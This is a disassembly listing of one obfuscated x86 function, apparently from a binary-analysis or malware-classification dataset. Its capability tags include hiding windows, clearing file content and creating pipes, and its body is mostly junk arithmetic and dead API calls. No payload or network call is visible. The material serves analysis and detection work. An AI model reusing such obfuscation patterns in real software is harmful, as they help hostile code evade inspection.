Function at 0x46b9ef
Capabilities:
Clear file content
Create pipe
Get common file path
Get thread local storage value
Hide graphical window
Query environment variable
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x363c
call fcn.004a31d0
push ebx
push esi
push edi
cmp dword [ebp + 8], 2
jl 0x478334
mov dword [ebp - 0xcc], 0x90ac204e
mov dword [ebp - 0xa88], 0x4a520274
mov dword [ebp - 0x508], 0x2cc9105f
push 2
lea ecx, [ebp - 0x2768]
call fcn.00430131
mov dword [ebp - 0x240c], 0x77b6
mov dword [ebp - 0x154], 0
jmp 0x46ba57
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 1
jge 0x46ba73
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x1eb8], 0xfffffff7
jmp 0x46ba4a
mov dword [ebp - 0x154], 0
jmp 0x46ba8c
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x46baae
push dword [ebp - 0x154]
lea ecx, [ebp - 0x2768]
call fcn.0043021f
mov dword [eax], 1
jmp 0x46ba7f
mov dword [ebp - 0xcc], 0xfffffff7
jmp 0x46bac7
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xffffffed
je 0x46bcb0
push 2
lea ecx, [ebp - 0xc38]
call fcn.00430131
mov dword [ebp - 0x2404], 1
mov dword [ebp - 0xa74], 0
jmp 0x46bb04
mov eax, dword [ebp - 0xa74]
inc eax
mov dword [ebp - 0xa74], eax
cmp dword [ebp - 0xa74], 2
jge 0x46bb23
push dword [ebp - 0xa74]
lea ecx, [ebp - 0xc38]
call fcn.0043021f
and dword [eax], 0
jmp 0x46baf7
cmp dword [ebp - 0xcc], 0
jne 0x46bbc5
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1eb8], 0xebf8
mov dword [ebp - 0x508], 0xebf8
mov esi, dword [ebp - 0xcc]
sub esi, dword [ebp - 0x508]
push 1
lea ecx, [ebp - 0xc38]
call fcn.0043021f
cmp dword [eax], esi
je 0x46bb74
mov dword [ebp - 0x1708], 1
jmp 0x46bb7b
and dword [ebp - 0x1708], 0
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xa88], eax
mov eax, dword [ebp - 0xa88]
sub eax, dword [ebp - 0x1708]
mov dword [ebp - 0x1e98], eax
push 0
lea ecx, [ebp - 0x2768]
call fcn.0043021f
mov ecx, dword [ebp - 0x1e98]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x1e98], eax
jle 0x46bbc5
and dword [ebp - 0x1ea0], 0
jmp 0x46bbcf
mov dword [ebp - 0x1ea0], 1
mov esi, dword [ebp - 0x1ea0]
sub esi, dword [ebp - 0xcc]
inc esi
push 0
lea ecx, [ebp - 0xc38]
call fcn.0043021f
cmp esi, dword [eax]
jne 0x46bbf9
mov dword [ebp - 0x1ea8], 1
jmp 0x46bc00
and dword [ebp - 0x1ea8], 0
push 1
lea ecx, [ebp - 0xc38]
call fcn.0043021f
mov ecx, dword [ebp - 0x1ea8]
cmp ecx, dword [eax]
jge 0x46bc23
mov dword [ebp - 0x1eb0], 1
jmp 0x46bc2a
and dword [ebp - 0x1eb0], 0
mov eax, dword [ebp - 0xcc]
imul eax, dword [ebp - 0x1eb0]
test eax, eax
je 0x46bc50
mov eax, 0xaf9d66de
test eax, eax
je 0x46bc50
mov dword [ebp - 0x20f4], 1
jmp 0x46bc57
and dword [ebp - 0x20f4], 0
push 0
lea ecx, [ebp - 0xc38]
call fcn.0043021f
push 1
lea ecx, [ebp - 0xc38]
call fcn.0043021f
push 1
lea ecx, [ebp - 0xc38]
call fcn.0043021f
push 1
lea ecx, [ebp - 0xc38]
call fcn.0043021f
push 1
lea ecx, [ebp - 0xc38]
call fcn.0043021f
mov eax, dword [eax]
mov dword [ebp - 0x2404], eax
lea ecx, [ebp - 0xc38]
call fcn.00430203
jmp 0x46baba
mov eax, dword [ebp - 0x240c]
mov dword [ebp - 0x2c4c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1eb8]
mov dword [ebp - 0x508], eax
mov esi, dword [ebp - 0x508]
push 0
lea ecx, [ebp - 0x2768]
call fcn.0043021f
sub esi, dword [eax]
je 0x46bd0b
mov dword [ebp - 0x2414], 0x90aec51
mov eax, dword [ebp - 0x2414]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0xcc], 0xac30bca0
jmp 0x46bdd1
mov dword [ebp - 0x241c], 0xfffffff8
mov dword [ebp - 0x1f04], 0x9fa18394
mov dword [ebp - 0xa7c], 0
jmp 0x46bd38
mov eax, dword [ebp - 0xa7c]
inc eax
mov dword [ebp - 0xa7c], eax
cmp dword [ebp - 0xa7c], 4
jge 0x46bd54
mov eax, dword [ebp - 0xa7c]
mov dword [ebp + eax*4 - 0x3458], 0xd9780293
jmp 0x46bd2b
mov byte [ebp - 0x3f3], 0
movzx eax, byte [ebp - 0x3f3]
test eax, eax
je 0x46bd75
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
cmp dword [ebp - 0xa88], 0
jne 0x46bd8a
mov dword [ebp - 0x1ec0], 1
jmp 0x46bd91
and dword [ebp - 0x1ec0], 0
mov eax, dword [ebp - 0x241c]
cmp eax, dword [ebp - 0x1ec0]
je 0x46bdab
mov dword [ebp - 0x1ec8], 1
jmp 0x46bdb2
and dword [ebp - 0x1ec8], 0
mov eax, dword [ebp - 0x1ec8]
mov dword [ebp - 0x1f04], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1f04]
mov dword [ebp + eax - 0x3458], ecx
lea ecx, [ebp - 0x2768]
call fcn.00430203
mov dword [ebp - 8], 1
mov dword [ebp - 0x5c4], 0xfffffffe
mov dword [ebp - 0x50c], 0x210ec320
mov dword [ebp - 0x2b4], 0xffffffff
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xa84], 0
jmp 0x46be24
mov eax, dword [ebp - 0xa84]
inc eax
mov dword [ebp - 0xa84], eax
cmp dword [ebp - 0xa84], 2
jge 0x46be40
mov eax, dword [ebp - 0xa84]
mov dword [ebp + eax*4 - 0x3fc], 0x2be197e7
jmp 0x46be17
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3164], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x50c], eax
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0xab19
je 0x46be76
mov dword [ebp - 0x1f0c], 1
jmp 0x46be7d
and dword [ebp - 0x1f0c], 0
mov eax, dword [ebp - 0x1f0c]
add eax, 0x108531d1
je 0x46be9f
cmp dword [ebp - 0x50c], 0
je 0x46be9f
mov dword [ebp - 0x1f14], 1
jmp 0x46bea6
and dword [ebp - 0x1f14], 0
mov dword [ebp - 0x5c4], 0xfbf2121f
imul eax, dword [ebp - 0x1f14], 9
cmp dword [ebp - 0x5c4], eax
jl 0x46becb
mov dword [ebp - 0x1f1c], 1
jmp 0x46bed2
and dword [ebp - 0x1f1c], 0
mov eax, dword [ebp - 0x1f1c]
inc eax
cmp eax, dword [ebp - 8]
je 0x46beea
mov dword [ebp - 0x1f24], 1
jmp 0x46bef1
and dword [ebp - 0x1f24], 0
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0x1f24]
test eax, eax
jne 0x46bf0d
or eax, 0xffffffff
jne 0x46bf0d
and dword [ebp - 0x1f2c], 0
jmp 0x46bf17
mov dword [ebp - 0x1f2c], 1
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1f2c], eax
jle 0x46bf2e
mov dword [ebp - 0x1f34], 1
jmp 0x46bf35
and dword [ebp - 0x1f34], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1f34], eax
jl 0x46bf4c
mov dword [ebp - 0x1f3c], 1
jmp 0x46bf53
and dword [ebp - 0x1f3c], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x1f3c]
jle 0x46bf6a
mov dword [ebp - 0x1f44], 1
jmp 0x46bf71
and dword [ebp - 0x1f44], 0
mov eax, dword [ebp - 0x1f44]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xec], 1
jmp 0x46bf96
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x46c6b2
push 3
lea ecx, [ebp - 0x4f8]
call fcn.00430131
mov dword [ebp - 0x998], 0x8ed9e8bd
mov dword [ebp - 0x220], 0xf520f09d
mov dword [ebp - 0x1b24], 0x565ea9d2
mov dword [ebp - 0xbec], 0xfffb
push 4
lea ecx, [ebp - 0x2780]
call fcn.00430131
mov dword [ebp - 0x84], 0
jmp 0x46bffe
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x46c020
push dword [ebp - 0x84]
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov dword [eax], 3
jmp 0x46bff1
mov dword [ebp - 0x84], 0
jmp 0x46c039
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 4
jge 0x46c05b
push dword [ebp - 0x84]
lea ecx, [ebp - 0x2780]
call fcn.0043021f
mov dword [eax], 0xc36b4adb
jmp 0x46c02c
mov dword [ebp - 0x84], 0
jmp 0x46c074
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jge 0x46c090
mov eax, dword [ebp - 0x84]
mov dword [ebp + eax*4 - 0x3090], 1
jmp 0x46c067
mov dword [ebp - 8], 1
jmp 0x46c0a0
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x46c697
mov dword [ebp - 0x514], 0xffffffff
mov dword [ebp - 0x2f20], 7
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x3310], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp + eax*4 - 0x3fc]
mov dword [ebp - 0x2f28], eax
mov eax, dword [ebp - 0x514]
dec eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x3fc]
mov dword [ebp - 0x3174], eax
push 0
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 0
je 0x46c129
push 0
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
xor eax, eax
jne 0x46c136
mov eax, 0x2024
test eax, eax
je 0x46c154
push 2
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
cmp dword [eax], 0
je 0x46c154
mov dword [ebp - 0x1f4c], 1
jmp 0x46c15b
and dword [ebp - 0x1f4c], 0
cmp dword [ebp - 0x1f4c], 0
jbe 0x46c170
mov dword [ebp - 0x1f54], 1
jmp 0x46c177
and dword [ebp - 0x1f54], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x1f54], eax
jg 0x46c191
mov dword [ebp - 0x1f5c], 1
jmp 0x46c198
and dword [ebp - 0x1f5c], 0
mov eax, dword [ebp - 0x1f5c]
neg eax
mov ecx, dword [ebp - 8]
add eax, dword [ebp + ecx*4 - 0x3fc]
mov ecx, dword [ebp - 0xec]
cmp eax, dword [ebp + ecx*4 - 0x3fc]
jge 0x46c1c5
mov dword [ebp - 0x1f64], 1
jmp 0x46c1cc
and dword [ebp - 0x1f64], 0
push 0
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov ecx, dword [ebp - 0x1f64]
cmp ecx, dword [eax]
jl 0x46c1ef
mov dword [ebp - 0x1f6c], 1
jmp 0x46c1f6
and dword [ebp - 0x1f6c], 0
mov eax, dword [ebp - 0x50c]
cmp dword [ebp - 0x1f6c], eax
je 0x46c222
push 2
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
cmp dword [eax], 0
je 0x46c222
mov dword [ebp - 0x1f74], 1
jmp 0x46c229
and dword [ebp - 0x1f74], 0
imul eax, dword [ebp - 0x1f74], 0x546
mov ecx, dword [ebp - 0xec]
cmp eax, dword [ebp + ecx*4 - 0x3fc]
jg 0x46c24e
mov dword [ebp - 0x1f7c], 1
jmp 0x46c255
and dword [ebp - 0x1f7c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3fc]
cmp dword [ebp - 0x1f7c], eax
jne 0x46c273
mov eax, 0x4d37
test eax, eax
jne 0x46c280
push 2
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov eax, dword [ebp - 8]
mov esi, dword [ebp + eax*4 - 0x3fc]
push 0
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
cmp esi, dword [eax]
jle 0x46c2a7
mov dword [ebp - 0x1f84], 1
jmp 0x46c2ae
and dword [ebp - 0x1f84], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x1f84], eax
je 0x46c2c8
mov dword [ebp - 0x1f8c], 1
jmp 0x46c2cf
and dword [ebp - 0x1f8c], 0
mov eax, dword [ebp - 0x1f8c]
mov dword [ebp - 0x50c], eax
or eax, 0xffffffff
je 0x46c2f3
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x46c2f3
mov dword [ebp - 0x1f94], 1
jmp 0x46c2fa
and dword [ebp - 0x1f94], 0
mov eax, dword [ebp - 0x1f94]
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x998], 0
jge 0x46c31b
mov dword [ebp - 0x1f9c], 1
jmp 0x46c322
and dword [ebp - 0x1f9c], 0
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp + eax*4 - 0x3fc]
imul eax, dword [ebp - 0x1f9c]
cmp eax, 0xe63d4d86
jbe 0x46c349
mov dword [ebp - 0x1fa4], 1
jmp 0x46c350
and dword [ebp - 0x1fa4], 0
mov eax, dword [ebp - 0x1fa4]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x220], 0
jmp 0x46c375
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 2
jg 0x46c692
mov eax, dword [ebp - 8]
inc eax
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
cmp dword [eax], 0
je 0x46c39e
cmp dword [ebp - 0x2b4], 0
xor eax, eax
add eax, 4
cmp eax, 4
jl 0x46c3b4
mov dword [ebp - 0x2424], 1
jmp 0x46c3bb
and dword [ebp - 0x2424], 0
push dword [ebp - 0x220]
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2f30], eax
mov eax, dword [ebp - 0x1b24]
mov dword [ebp - 0x3298], eax
mov eax, dword [ebp - 8]
inc eax
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
push 0
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x3fc]
mov dword [ebp - 0x2f38], eax
mov eax, dword [ebp - 8]
inc eax
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
imul esi, dword [eax], 0xfffc
push dword [ebp - 0x220]
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
add esi, dword [eax]
imul eax, esi, 0xfff6
test eax, eax
jne 0x46c456
cmp dword [ebp - 0xec], 0
jne 0x46c456
and dword [ebp - 0x1fac], 0
jmp 0x46c460
mov dword [ebp - 0x1fac], 1
mov eax, dword [ebp - 0x1fac]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0xbec]
mov ecx, dword [ebp - 0xbec]
dec ecx
mov dword [ebp - 0xbec], ecx
test eax, eax
jne 0x46c671
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3fc]
mov dword [ebp - 0x3184], eax
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x3fc], 0xbc9af00a
ja 0x46c4b6
mov dword [ebp - 0x1fb4], 1
jmp 0x46c4bd
and dword [ebp - 0x1fb4], 0
mov dword [ebp - 0x998], 0x7edf
mov eax, dword [ebp - 0x998]
cmp eax, dword [ebp - 0x1fb4]
jl 0x46c4e1
mov dword [ebp - 0x2024], 1
jmp 0x46c4e8
and dword [ebp - 0x2024], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x2024]
sub ecx, dword [ebp + eax*4 - 0x3fc]
cmp ecx, dword [ebp - 8]
jne 0x46c509
mov dword [ebp - 0x202c], 1
jmp 0x46c510
and dword [ebp - 0x202c], 0
mov eax, dword [ebp - 8]
inc eax
push eax
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov eax, dword [eax]
mov ecx, dword [ebp - 0x202c]
lea eax, [ecx + eax + 3]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x3fc]
jne 0x46c547
mov dword [ebp - 0x2034], 1
jmp 0x46c54e
and dword [ebp - 0x2034], 0
push 0
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov ecx, dword [ebp - 0x2034]
cmp ecx, dword [eax]
jle 0x46c571
mov dword [ebp - 0xcfc], 1
jmp 0x46c578
and dword [ebp - 0xcfc], 0
push dword [ebp - 0x220]
lea ecx, [ebp - 0x4f8]
call fcn.0043021f
mov ecx, dword [ebp - 0xcfc]
cmp ecx, dword [eax]
jl 0x46c5a5
cmp dword [ebp - 0x514], 0
jne 0x46c5a5
and dword [ebp - 0xbf4], 0
jmp 0x46c5af
mov dword [ebp - 0xbf4], 1
push 3
lea ecx, [ebp - 0x2780]
call fcn.0043021f
mov ecx, dword [ebp - 0xbf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x5c4]
imul eax, dword [ebp - 0xbf4]
cmp eax, dword [ebp - 0x2b4]
jge 0x46c5e5
mov dword [ebp - 0xbfc], 1
jmp 0x46c5ec
and dword [ebp - 0xbfc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbfc]
mov dword [ebp + eax - 0x3090], ecx
cmp dword [ebp - 0xbfc], 0
jne 0x46c618
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3090], 0
je 0x46c62d
cmp dword [ebp - 0x1b24], 0
je 0x46c62d
mov dword [ebp - 0xd04], 1
jmp 0x46c634
and dword [ebp - 0xd04], 0
imul eax, dword [ebp - 0xd04], 0xea73
test eax, eax
jne 0x46c64f
push 0
lea ecx, [ebp - 0x2780]
call fcn.0043021f
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x3fc]
mov dword [ebp - 0x2f40], eax
mov eax, dword [ebp - 0x514]
dec eax
jne 0x46c671
and dword [ebp - 0x1b2c], 0
jmp 0x46c67b
mov dword [ebp - 0x1b2c], 1
mov eax, dword [ebp - 0x1b2c]
shl eax, 1
mov ecx, dword [ebp - 8]
mov dword [ebp + ecx*4 - 0x3fc], eax
jmp 0x46c368
jmp 0x46c099
lea ecx, [ebp - 0x2780]
call fcn.00430203
lea ecx, [ebp - 0x4f8]
call fcn.00430203
jmp 0x46bf89
mov dword [ebp - 0x6b4], 0
mov byte [ebp - 0x29e], 0
movzx eax, byte [ebp - 0x29e]
test eax, eax
je 0x46c6db
push 0
push 0x113a
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [ebp - 0x6b4], 0xffffffe4
jmp 0x46c6f4
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0xfffffff0
jne 0x46c739
mov dword [ebp - 0x2b88], 1
mov dword [ebp - 0x2b84], 1
mov dword [ebp - 0x2b80], 1
mov dword [ebp - 0x2b7c], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b88], 0
je 0x46c737
jmp 0x46c739
jmp 0x46c6e7
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x26c], 0xad386cce
mov dword [ebp - 0x628], 0x5166
mov dword [ebp - 0x1b4c], 0xffffffff
mov dword [ebp - 0x4bc], 0x887c5c6a
mov dword [ebp - 0x1b74], 0x7293cc9
mov dword [ebp - 0x2454], 0x8a1bd053
mov dword [ebp - 0x980], 0
jmp 0x46c798
mov eax, dword [ebp - 0x980]
inc eax
mov dword [ebp - 0x980], eax
cmp dword [ebp - 0x980], 1
jge 0x46c7b4
mov eax, dword [ebp - 0x980]
mov dword [ebp + eax*4 - 0x1e8], 0x51328f6c
jmp 0x46c78b
push 4
pop eax
imul eax, eax, 0
xor ecx, ecx
sub ecx, dword [ebp + eax - 0x1e8]
cmp dword [ebp - 0x26c], ecx
jg 0x46c7d7
mov dword [ebp - 0x242c], 1
jmp 0x46c7de
and dword [ebp - 0x242c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e8]
mov dword [ebp - 0x31ec], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1e8]
cmp dword [ebp + eax - 0x1e8], ecx
jne 0x46c819
mov dword [ebp - 0xd0c], 1
jmp 0x46c820
and dword [ebp - 0xd0c], 0
cmp dword [ebp - 0xd0c], 0xafa0
jl 0x46c838
mov dword [ebp - 0x1b34], 1
jmp 0x46c83f
and dword [ebp - 0x1b34], 0
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x2434], eax
mov eax, dword [ebp - 0x1b34]
mov dword [ebp - 0x243c], eax
mov eax, dword [ebp - 0x628]
dec eax
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x2434]
cmp eax, dword [ebp - 0x243c]
jle 0x46c87e
mov dword [ebp - 0xd14], 1
jmp 0x46c885
and dword [ebp - 0xd14], 0
cmp dword [ebp - 0xd14], 0x7b445ace
jne 0x46c89d
mov dword [ebp - 0x1b3c], 1
jmp 0x46c8a4
and dword [ebp - 0x1b3c], 0
mov eax, dword [ebp - 0x26c]
cmp eax, dword [ebp - 0x1b3c]
je 0x46c8be
mov dword [ebp - 0xd1c], 1
jmp 0x46c8c5
and dword [ebp - 0xd1c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd1c]
mov dword [ebp + eax - 0x1e8], ecx
mov dword [ebp - 0x26c], 0
jmp 0x46c8f1
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x11
jg 0x46cc4d
mov dword [ebp - 0x15c], 0x43e2
mov dword [ebp - 0x6bc], 0xb59229a2
mov dword [ebp - 0x400], 0xffffffff
mov dword [ebp - 0x245c], 0x36fde002
cmp dword [ebp - 0x15c], 0
je 0x46c934
jmp 0x46cc4d
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x2f48], eax
mov eax, dword [ebp - 0x628]
add eax, 0xbeb9
jne 0x46c95f
cmp dword [ebp - 0x400], 0
jne 0x46c95f
and dword [ebp - 0x1b44], 0
jmp 0x46c969
mov dword [ebp - 0x1b44], 1
mov dword [ebp - 0x4bc], 0xf197
mov eax, dword [ebp - 0x4bc]
add eax, dword [ebp - 0x1b44]
cmp eax, dword [ebp - 0x26c]
jg 0x46c993
mov dword [ebp - 0xd24], 1
jmp 0x46c99a
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0xd24]
mov dword [ebp - 0x1b74], eax
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0x1b4c], eax
imul eax, dword [ebp - 0x1b4c], 0x8400
cmp eax, 0xfffffffe
jge 0x46c9cd
mov dword [ebp - 0x2444], 1
jmp 0x46c9d4
and dword [ebp - 0x2444], 0
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x3194], eax
cmp dword [ebp - 0x400], 0
je 0x46c9f2
cmp dword [ebp - 0x15c], 0
jne 0x46ca04
cmp dword [ebp - 0x26c], 0
jne 0x46ca04
and dword [ebp - 0xd2c], 0
jmp 0x46ca0e
mov dword [ebp - 0xd2c], 1
mov eax, dword [ebp - 0x400]
cmp dword [ebp - 0xd2c], eax
jg 0x46ca28
mov dword [ebp - 0xd34], 1
jmp 0x46ca2f
and dword [ebp - 0xd34], 0
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1b54], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b54]
mov dword [ebp + eax - 0x1e8], ecx
mov eax, dword [ebp - 0x1b54]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6bc]
imul eax, dword [ebp - 0xd34]
test eax, eax
je 0x46cbe7
mov dword [ebp - 0xc28], 0
cmp dword [ebp - 0x400], 0
jne 0x46cb7a
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x2f50], eax
mov eax, dword [ebp - 0xc28]
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0xfffffff9
jne 0x46cab3
mov dword [ebp - 0x1b5c], 1
jmp 0x46caba
and dword [ebp - 0x1b5c], 0
cmp dword [ebp - 0x1b5c], 0xfffffffb
jge 0x46cacf
mov dword [ebp - 0xd3c], 1
jmp 0x46cad6
and dword [ebp - 0xd3c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e8]
cmp dword [ebp - 0xd3c], eax
jg 0x46caf7
mov dword [ebp - 0x1b64], 1
jmp 0x46cafe
and dword [ebp - 0x1b64], 0
cmp dword [ebp - 0x1b64], 0xffffffff
jge 0x46cb13
mov dword [ebp - 0xd44], 1
jmp 0x46cb1a
and dword [ebp - 0xd44], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e8]
cmp eax, dword [ebp - 0xd44]
jge 0x46cb3b
mov dword [ebp - 0x1b6c], 1
jmp 0x46cb42
and dword [ebp - 0x1b6c], 0
mov eax, dword [ebp - 0xc28]
cmp dword [ebp - 0x1b6c], eax
jle 0x46cb5c
mov dword [ebp - 0xd4c], 1
jmp 0x46cb63
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0xd4c]
sub eax, dword [ebp - 0x400]
jne 0x46cb7a
cmp dword [ebp - 0xc28], 0
je 0x46cb9e
mov dword [ebp - 0x244c], 0xabee
mov dword [ebp - 0x4bc], 0xb6c71789
cmp dword [ebp - 0x244c], 0
je 0x46cb9c
jmp 0x46cc4d
jmp 0x46cbe5
mov dword [ebp - 0x15c], 0
jmp 0x46cbb7
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xc
jle 0x46cbe5
mov byte [ebp - 0x2a0], 0
movzx eax, byte [ebp - 0x2a0]
test eax, eax
je 0x46cbe3
push 0
push 0
push 0x21be
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
jmp 0x46cbaa
jmp 0x46cc48
mov dword [ebp - 0x2464], 0x34bb1b2b
mov dword [ebp - 0xd54], 0xa8e8b88b
mov eax, dword [ebp - 0x2454]
mov dword [ebp - 0x4bc], eax
mov eax, dword [ebp - 0x245c]
mov dword [ebp - 0x31f0], eax
mov eax, dword [ebp - 0x2464]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x1b74], eax
mov dword [ebp - 0xd54], 0xe2b1956a
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd54]
mov dword [ebp + eax - 0x1e8], ecx
jmp 0x46c8e4
mov dword [ebp - 0x5dc], 0xffffffff
mov dword [ebp - 0x11c], 0xfffffffc
mov dword [ebp - 0xd5c], 1
mov dword [ebp - 0x51c], 1
mov dword [ebp - 0xa80], 0
jmp 0x46cc8e
mov eax, dword [ebp - 0xa80]
inc eax
mov dword [ebp - 0xa80], eax
cmp dword [ebp - 0xa80], 2
jge 0x46ccaa
mov eax, dword [ebp - 0xa80]
mov dword [ebp + eax*4 - 0xba8], 0x26bdde0b
jmp 0x46cc81
mov dword [ebp - 0x11c], 1
jmp 0x46ccc3
mov eax, dword [ebp - 0x11c]
dec eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jl 0x46cee8
mov dword [ebp - 0x988], 0x6a76
mov dword [ebp - 0xd6c], 0x5b611fb8
mov dword [ebp - 0x1b94], 0xffffffff
mov dword [ebp - 0x6c4], 0
jmp 0x46cd07
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 1
jge 0x46cd23
mov eax, dword [ebp - 0x6c4]
mov dword [ebp + eax*4 - 0x1ba4], 0xb8fa48a2
jmp 0x46ccfa
mov byte [ebp - 0x2a2], 0
movzx eax, byte [ebp - 0x2a2]
test eax, eax
je 0x46cd3d
push 0
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x988], eax
jne 0x46cd5d
cmp dword [ebp - 0x11c], 0
jne 0x46cd5d
and dword [ebp - 0x1b7c], 0
jmp 0x46cd67
mov dword [ebp - 0x1b7c], 1
mov eax, dword [ebp - 0x1b7c]
mov dword [ebp - 0xd5c], eax
mov eax, dword [ebp - 0xd5c]
sub eax, dword [ebp - 0x988]
je 0x46cd94
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x46cd94
mov dword [ebp - 0x1b84], 1
jmp 0x46cd9b
and dword [ebp - 0x1b84], 0
mov eax, dword [ebp - 0x1b84]
mov dword [ebp - 0x51c], eax
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0xd64], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd64]
mov dword [ebp + eax - 0x1ba4], ecx
